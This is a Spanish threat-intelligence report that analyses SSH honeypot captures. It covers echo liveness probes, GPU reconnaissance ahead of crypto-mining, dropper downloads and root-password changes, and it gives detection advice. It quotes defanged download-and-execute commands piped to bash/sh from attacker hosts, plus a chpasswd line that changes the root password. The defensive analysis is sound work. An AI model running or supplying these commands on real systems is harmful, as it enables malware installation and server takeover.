INVESTIGACIÓN PÚBLICA

CIPHERSENTRY

THREAT INTELLIGENCE

SERIE DE INTELIGENCIA

Anatomía de un ataque SSH

Del primer echo al cambio de contraseña root: cuatro capítulos que reconstruyen una campaña real capturada por nuestro honeypot en producción.

FECHA	ARTÍCULOS	FUENTE	CLASIFICACIÓN
2026-06-13	4	ssh-honeypot-public · sessions.jsonl	Investigación pública

ÍNDICE

CAPÍTULO 1

El primer comando del scanner: por qué todo ataque SSH empieza con echo

967 comandos echo registrados en tres días. No es ruido — es la firma de un protocolo. El scanner verifica que el shell funciona antes de enviar sus instrucciones reales.

AUTOMATIZACIÓN CAMPAÑAS RECONOCIMIENTO

27.510
SESIONES SSH TOTALES

Sesiones SSH totales

149
IPS ATACANTES

967
COMANDOS ECHO

4%
DEL TOTAL DE COMANDOS

El test de vida automático

Autenticar es fácil — el atacante tiene diccionarios y tiempo. Lo que no tiene es certeza sobre lo que hay al otro lado. La sesión puede ser un shell real, un honeypot, un servidor que acepta conexiones pero bloquea comandos, o un entorno con output desactivado. El scanner resuelve esa incertidumbre antes de enviar sus instrucciones reales. Lo hace con el comando más simple que existe.

```
# Tres variantes de echo observadas en sesiones de la campaña
$ echo test
$ echo 1
$ echo -e '\x41\x42\x43' # \x41\x42\x43 = "ABC" — capability probe, no ofuscación
# Output esperado: el mismo texto. Si responde → shell funcional → fase siguiente
```

La tercera variante es la más reveladora. `echo -e '\x41\x42\x43'` imprime "ABC" — pero lo hace vía secuencias hex, no texto literal. El propósito no es ocultar el contenido (ABC no necesita ocultarse), sino verificar que el shell interpreta correctamente las secuencias de escape. Eso es información táctica: si el shell procesa `-e` con escape sequences, el atacante sabe exactamente con qué entorno está trabajando.

La puerta que filtra sesiones

Si el echo devuelve el texto esperado, el scanner pasa a la siguiente fase — en esta campaña, el GPU hunter. Si no hay respuesta o el output es inesperado, la sesión se descarta. Esto explica por qué una parte significativa de sesiones termina sin ningún comando adicional: el eco no respondió como esperaba el script, y el automatismo siguió con el siguiente objetivo.

> ECHO COMO PRIMER ESLABÓN DE LA CADENA
>
> En las sesiones analizadas, el echo siempre precede al bloque de reconocimiento de hardware. La secuencia completa, en sesiones que llegaron a fase 2:
>
> `echo test` → `lspci | grep VGA` → `nvidia-smi -q` → `uname -s -v -n -r -m`
>
> El echo actúa como semáforo: verde, continúa; sin respuesta, descarta. Es el coste más bajo posible para no malgastar el resto del script en un entorno inútil.

Por qué esta firma importa

El echo como liveness check no es exclusivo de esta campaña — es un patrón universal en tooling SSH automatizado. Cualquier script que necesite verificar que tiene un shell funcional antes de continuar lo usa. Eso lo convierte en una firma de comportamiento más fiable que la IP de origen o el User-Agent del cliente SSH. Una IP rota es reemplazable en minutos; el protocolo de comportamiento del script cambia mucho más despacio.

Lo que diferencia esta campaña de un scanner genérico es la secuencia posterior. El echo solo tiene valor si lo que viene después es deliberado — y en este caso lo es: GPU hunter apuntando a infraestructura con aceleradores gráficos. El echo es la primera línea del guion; el resto del guion revela la intención.

Detección

El echo en sí no es una señal de alarma — es un comando legítimo. La firma es el contexto: un echo inmediatamente tras autenticación, sin ningún comando legítimo previo, es comportamiento de script, no de humano.

- **Alerta sobre `echo -e` con secuencias hex en sesiones SSH:** `echo -e '\xNN\xNN'` inmediatamente tras autenticación no tiene ningún uso legítimo de administración. Es tooling automatizado.
- **Correlaciona echo con lo que viene después:** un echo aislado sin comandos posteriores (sesión que termina en 2-3 segundos) es un scanner descartando el objetivo. Un echo seguido de `lspci` o `nvidia-smi` es un GPU hunter en fase de reconocimiento.
- **Monitoriza la duración de sesión:** sesiones que terminan en menos de 5 segundos con solo 1-2 comandos son scanners, no administradores. Agrupar estas sesiones por IP revela automáticamente la infraestructura del atacante.

- **Fail2ban con umbral bajo para sesiones ultra-cortas:** un cliente que se conecta, ejecuta un echo y desconecta en 3 segundos es indistinguible de un scanner. Banear IPs con ese patrón repetido reduce el ruido del log sin impacto en usuarios legítimos.
  El echo no tiene secretos. No exfiltra datos, no instala nada, no abre puertos. Es solo una pregunta: ¿hay alguien ahí? La respuesta que recibe determina si tu servidor va a recibir el resto del ataque. La señal vale su peso en oro precisamente porque es tan barata de enviar: si el atacante se molesta en hacer la pregunta, es porque lo que viene después importa.

Fuente: `ssh-honeypot-public/logs/sessions.jsonl · 2026-06-11 a 2026-06-13` · Autor: Pablo Cortés

CAPÍTULO 2

XMRig en modo stealth: cómo los mineros evitan detección en 2026

El cryptomining no-autorizado no llega de forma ruidosa. Lo que captamos en nuestro honeypot es un proceso de dos fases: primero verifican silenciosamente que la máquina tiene GPU. Solo entonces instalan el minero.

MALWARE BOTNET CRYPTOMINING

10.701
SESIONES GPU HUNTER

Sesiones GPU hunter

9.156
INTENTOS CON "SOL"

2.180
EVASIONES /BIN/./UNAME

4
PAYLOAD URLS

La anatomía del GPU hunter

Antes de instalar cualquier minero, el atacante necesita saber si la inversión vale la pena. Un servidor sin GPU mina monero a una fracción del hashrate de uno con GPU. El primer objetivo, por tanto, es el reconocimiento de hardware — y hacerlo sin levantar alertas.

La secuencia que observamos en **10.701 sesiones** es idéntica en todas ellas — la firma de un script automatizado:

```
# Fase 1: ¿hay GPU PCI conectada?
$ lspci | grep VGA | cut -f5- -d ' '
$ lspci | grep VGA -c
```

```
$ lspci | grep "3D controller" | cut -f5- -d ' '
# Fase 2: ¿es NVIDIA? ¿cuánta VRAM?
$ nvidia-smi -q | grep "Product Name" | head -n 1 | awk '{print $4, $5, $6, $7, $8}'
# Fase 3: fingerprint del SO (con evasión)
$ /bin/./uname -s -v -n -r -m
$ uptime -p
$ nproc
```

Técnica de evasión: path traversal en uname

El uso de `/bin/./uname` en lugar de `uname` es un detalle técnico con propósito claro. El punto (`.`) en medio de una ruta absoluta es un elemento de directorio que referencia el directorio actual — en este contexto, es ignorado por el kernel. El resultado es exactamente el mismo que `uname`.
El valor está en la firma string: una regla de detección que busca el literal `uname` en los logs de comandos podría no capturar `/bin/./uname` si la implementación no normaliza paths antes de comparar.

> FRECUENCIA OBSERVADA
>
> **2.180 ejecuciones** de `/bin/./uname` versus **4.597** de `uname` directo. La técnica se usa en sesiones específicas — no es universal en la campaña, lo que sugiere herramientas distintas o configuraciones diferentes del mismo scanner.

El vínculo con credenciales crypto

La campaña GPU hunter y el diccionario de credenciales orientado a Solana no son coincidencia. Los operadores de nodos Solana frecuentemente usan servidores con GPU para acelerar operaciones de validación. Un servidor comprometido de un validator Solana ofrece doble valor:

- **GPU para minería**: hashrate inmediato para XMRig u otros mineros
- **Acceso a claves de validador**: potencial robo de stake o comisiones de validación
- **Acceso a fondos hot-wallet**: traders y validators frecuentemente tienen wallets conectados al servidor

El intento de payload

En cuatro ocasiones durante el periodo de observación, las sesiones intentaron descargar un script externo. Ninguno llegó a ejecutarse:

> PAYLOAD URLS CAPTURADAS
>
> ⚠ URLs defangeadas (hxxp). Artefactos forenses — no acceder ni reconstruir.
>
> `hxxps://14[.]46[.]136[.]77/sh` — IP directa sin resolución DNS. 0 bytes de contenido recibido en el entorno aislado del honeypot.
>
> `hxxp://evil[.]sh/x` — 3 intentos. El dominio sugiere un dropper genérico. La ejecución fue bloqueada en todos los casos.

Cómo detectar GPU hunters en tu infraestructura

Las señales de detección son claras y poco costosas de implementar:

- **Alerta sobre `nvidia-smi` o `lspci` en logs SSH**: ningún script legítimo de mantenimiento necesita ejecutar estos comandos vía SSH inmediatamente al autenticarse.
- **Detecta el cliente `SSH-2.0-Go`**: si tu infraestructura no tiene aplicaciones internas escritas en Go que se conecten por SSH, cualquier conexión con ese fingerprint es sospechosa.
- **Monitoriza descargas con `wget` o `curl` a IPs directas**: URLs del tipo `hxxp://1[.]2[.]3[.]4/sh` son distribuidores de payload, no tráfico legítimo.
- **Bloquea IPs con múltiples intentos de credenciales fallidos**: fail2ban con umbral de 5-10 intentos por IP en 60 segundos cubre la mayoría de estos escaneos.

Datos recopilados con fines de investigación en ciberseguridad. Toda la información procede de actividad no solicitada registrada en infraestructura propia.

Fuente: `ssh-honeypot-public/logs/sessions.jsonl` · Autor: Pablo Cortés

CAPÍTULO 3

Dropper en producción: análisis de evil.sh/x y el payload que no se ejecutó

En los tres días de observación, el honeypot capturó cuatro intentos de descarga de payload externo. Todos fracasaron — pero el proceso de descarga quedó registrado, y con él, detalles sobre la infraestructura del dropper.

MALWARE DROPPER CAMPAÑAS

4
URLS DE PAYLOAD

URLs de payload

8
INTENTOS DE DESCARGA

19
INTENTOS DE EJECUCIÓN

0
BYTES EJECUTADOS

Las dos URLs de payload

Durante el periodo de análisis, el honeypot registró intentos de descarga a exactamente dos destinos externos. El comportamiento difiere entre ambos:

URL #1 — IP DIRECTA SIN DNS

`hxxps://14[.]46[.]136[.]77/sh`

1 download_attempt + 1 download registrado. La URL apunta directamente a una IP, sin nombre de dominio. El uso de IP directa evita la resolución DNS — sin logs de DNS, sin detección por

bloqueo de dominios maliciosos. El path `/sh` es típico de droppers de primera fase: un script shell que instala el payload real.

Contenido recibido: **0 bytes ejecutados**. El contenido fue capturado pero la ejecución fue bloqueada en todos los casos.

URL #2 — DOMINIO GENÉRICO DE DROPPER

`hxxp://evil[.]sh/x`

3 download_attempt + 3 download registrados. El dominio `evil.sh` es un hosting de scripts públicos — ha sido usado en múltiples campañas como repositorio de droppers descartables. El path `/x` es intencionalmente corto y opaco. HTTP sin TLS: el contenido viaja sin cifrar, lo que permite capturarlo en tránsito con un proxy o IDS con inspección de contenido.

El dominio sugiere que los operadores priorizan la disponibilidad y el precio sobre el sigilo en la fase de distribución del payload.

La cadena de descarga: cómo llegó aquí

Los intentos de descarga no ocurrieron de forma aislada. Siguieron al patrón GPU hunter documentado: el atacante primero ejecuta el reconocimiento (`lspci`, `nvidia-smi`), y solo en sesiones donde la secuencia completó sin errores, el script pasa a la fase de descarga del payload.

```
# Fase 1: GPU hunter (reconocimiento de hardware)
$ lspci | grep VGA | cut -f5- -d ' '
$ nvidia-smi -q | grep "Product Name" | head -n 1 | awk '{print $4, $5, $6, $7, $8}'
$ /bin/./uname -s -v -n -r -m
# Fase 2: descarga del dropper (condicionada a GPU detectada)
$ curl -s hxxp://evil[.]sh/x | bash
# — o equivalente con wget —
$ wget -qO- hxxps://14[.]46[.]136[.]77/sh | sh
```

El patrón `curl ... | bash` es deliberado: descarga y ejecuta en una sola instrucción, sin escribir el script al disco primero. Esto evita que el binario quede como artefacto forense en el sistema de archivos.

Los 19 intentos de ejecución

El honeypot registró **19 eventos de tipo** `execution_attempt`, todos acompañados de un evento `file_write` previo — el payload descargado fue almacenado en el entorno aislado antes de intentar ejecutarlo. Ninguno tuvo éxito.

EVENTO	CANTIDAD	RESULTADO
file_write (payload almacenado en entorno aislado)	19	Éxito — fichero registrado
	19	

EVENTO	CANTIDAD	RESULTADO
execution_attempt (intento de ejecutar el payload)		Ejecución bloqueada — sin código ejecutado
Bytes ejecutados en el host real	0	El honeypot nunca ejecuta código externo

Qué revela la infraestructura del dropper

La combinación de una IP directa y un dominio genérico como `evil.sh` apunta a una operación con infraestructura efímera. Algunas inferencias:

- **IP directa (14.46.136.77):** El rango `14.46.0.0/16` pertenece a infraestructura de hosting de bajo coste en Asia. Las IPs en este rango se usan frecuentemente como servidores de stage C2 — baratos, rápidamente reemplazables si se bloquean.
- **HTTP sin cifrar (evil.sh):** El payload viaja en claro. Esto es un indicador de que los operadores asumen que la fase de descarga será corta — rotan la URL o el dominio antes de que sea bloqueable.
- **Path corto (/sh, /x):** Los paths de un carácter minimizan la entropía en logs de proxy. Dificultan la correlación por pattern matching si el proxy no registra el payload completo.
- **Sin User-Agent personalizado:** curl y wget usan sus User-Agents por defecto — los operadores no se molestan en camuflarlo, lo que confirma que confían en la rotación de infraestructura más que en el sigilo por sesión.

Relación con la campaña GPU hunter

Las sesiones con intentos de descarga son un subconjunto de las sesiones GPU hunter. El dropper solo se activa cuando el reconocimiento de hardware devuelve un resultado positivo — confirma que la campaña está optimizando el ratio de infecciones útiles sobre intentos totales.

En términos económicos: la descarga del payload tiene un coste (tráfico, exposición de la URL del dropper). El reconocimiento previo asegura que ese coste solo se incurre en máquinas con GPU — las únicas que justifican la instalación de XMRig.

Detección y contención

Las señales de detección para esta fase son más específicas que el GPU hunter:

- **Bloquea el patrón `curl ... | bash` y `wget ... | sh`:** ningún script legítimo de mantenimiento necesita descargar y ejecutar en una sola instrucción durante una sesión SSH.
- **Monitoriza conexiones salientes HTTPS a IPs directas:** `hxxps://1[.]2[.]3[.]4/ruta` — sin hostname, solo IP — es una firma de dropper. El firewall de salida debe bloquear HTTPS a IPs que no tengan entrada DNS reversa conocida.
- **Alerta sobre escrituras en `/tmp` seguidas de ejecución:** el patrón write-then-execute en directorios temporales es la firma forense del dropper. `auditd` con reglas sobre `execve` en rutas `/tmp/*` lo captura.
- **Bloquea dominios de dropper conocidos:** `evil.sh` y dominios similares están en threat feeds públicos. Un DNS sinkhole o proxy de filtrado los neutraliza antes de la descarga.

Fuente: `ssh-honeypot-public/logs/sessions.jsonl` · Autor: Pablo Cortés

CAPÍTULO 4

Escalada de cuenta: 104 intentos de cambiar la contraseña de root

104 sesiones ejecutaron el comando passwd tras autenticarse. El objetivo no es explorar — es quedarse. Cambiar la contraseña de root para que el propietario legítimo no pueda recuperar el acceso.

PERSISTENCIA ESCALADA CAMPAÑAS

26.898
SESIONES SSH TOTALES

Sesiones SSH totales

147
IPS ATACANTES

104
INTENTOS PASSWD

El comando que delata la intención

Hay comandos que cambian de significado dependiendo de quién los ejecuta. `passwd` en manos de un administrador es rutina. En manos de un atacante recién autenticado, es una declaración: no vine a robar datos, vine a quedarme. La diferencia entre reconocimiento y persistencia cabe en tres comandos.

```
# Secuencia típica de sesión con intento passwd
$ uname -a
$ id
$ passwd
```

El `uname` y el `id` son reconocimiento de último segundo — confirmar que el servidor es Linux y que se tiene acceso root. Luego, directamente, `passwd`. Sin exploración, sin descargas, sin comandos de exfiltración. El guion es corto porque el objetivo es simple.

Por qué es más peligroso que instalar malware

El detalle técnico que lo hace difícil de detectar: `passwd` no escribe ningún fichero en rutas inusuales, no abre puertos de red, no crea procesos nuevos. Los escáneres de malware buscan artefactos — binarios sospechosos, entradas en crontab, servicios instalados. Un cambio de contraseña no deja ninguno de esos rastros.

- **Bloqueo del propietario:** si el cambio tiene éxito, el administrador legítimo pierde acceso por contraseña. Las claves SSH siguen funcionando — pero si el servidor solo tiene password auth, el propietario queda fuera.
- **Persistencia sin artefactos:** no hay fichero que escanear, no hay proceso que matar, no hay entrada de crontab que eliminar. La única huella es en `/etc/shadow`, y solo si sabes buscarla.
- **Indicador de compromiso definitivo:** encontrar la contraseña root cambiada sin que ningún administrador lo haya hecho no es ambiguo. Alguien estuvo allí.

Lo que el honeypot vio — y el atacante no

> RESULTADO EN EL HONEYPOT
>
> El honeypot acepta el `passwd` con normalidad: muestra el prompt de cambio, el atacante introduce la nueva contraseña, recibe confirmación. Todo parece funcionar.
>
> El cambio queda registrado — pero no persiste en el sistema real. El honeypot devuelve confirmación al atacante; en la siguiente sesión, las credenciales originales siguen siendo válidas. La firma queda en el log, no en el sistema.

Detección

Las señales son claras. El problema es que requieren logging activo — la mayoría de servidores no alertan sobre ejecuciones de `passwd` por defecto.

- **Alerta sobre `passwd` en sesiones SSH:** ningún script legítimo de CI/CD ejecuta `passwd`. Si el comando aparece en logs de una sesión interactiva SSH, es una alerta de nivel alto.
- **Cubre también `chpasswd` y `usermod -p`:** un atacante con acceso a shell puede cambiar credenciales sin prompt interactivo: `echo 'root:nueva' | chpasswd` no genera el mismo patrón de sesión que `passwd`. La única detección fiable es a nivel de sistema de ficheros — no de comportamiento de sesión.
- **Auditd sobre escrituras en `/etc/shadow`:** una regla `-w /etc/shadow -p wa -k passwd_change` registra cualquier modificación del fichero de contraseñas, independientemente del método empleado — `passwd`, `chpasswd` o cualquier otra vía.
- **Autenticación solo por clave:** si `PasswordAuthentication no` está en `/etc/ssh/sshd_config`, cambiar la contraseña root no le da acceso adicional a nadie que no tenga ya la clave privada.

El comando `passwd` no deja binarios. No abre puertos. No instala servicios. Lo que deja es silencio — y el silencio, en ciberseguridad, es la señal más difícil de detectar. La diferencia entre un sistema comprometido y uno limpio cabe en un campo de `/etc/shadow`. Ese campo no tiene alarma por defecto. Ahora puede tenerla.

Fuente: `ssh-honeypot-public/logs/sessions.jsonl · 2026-06-11 a 2026-06-13` · Autor: Pablo Cortés

⬡ CIPHERSENTRY

Este informe es parte de la serie "Serie de inteligencia".
Datos reales capturados por el honeypot SSH de CipherSentry en producción.

CipherSentry S.L. · Madrid, España · Investigación en ciberseguridad
Generado el 2026-06-13